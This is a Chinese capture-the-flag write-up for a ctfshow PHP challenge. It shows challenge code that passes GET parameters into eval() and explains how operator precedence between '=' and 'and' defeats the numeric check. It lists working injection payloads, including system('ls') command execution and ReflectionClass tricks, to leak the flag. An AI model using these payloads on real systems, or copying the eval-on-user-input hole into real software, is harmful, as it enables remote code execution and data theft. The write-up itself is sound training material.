运算符优先级:&& > || > = > and > or
is_numeric() 函数用于检测变量是否为数字或数字字符串。
是数字和数字字符串则返回 TRUE,否则返回 FALSE
var_dump()函数可以输出多个值。
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
关键看这一句
&& > || > = > and > or
=的运算符比and高
对于v0的值只需要看v1就可以v2,v3是干扰
所以v1输入数字
v3要匹配到分号,但是要加注释符*/但是不知道为什么//不行
法一:
v2是比较复杂的,用v2=var_dump($ctfshow)或者v2=var_dump(new ctfshow())
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
或?v1=1&v2=var_dump($ctfshow)&v3=;
或者用命令
?v1=1&v2=system('ls')/*&v3=*/;
/?v1=1&v2=system('ls')&v3=; # 会报错但也可出来
返回结果
法二(反射类):
?v1=1&v2=echo new ReflectionClass('ctfshow')/*&v3=*/;
或?v1=1&v2=echo new ReflectionClass&v3=;
最终结果0x2d要转化成-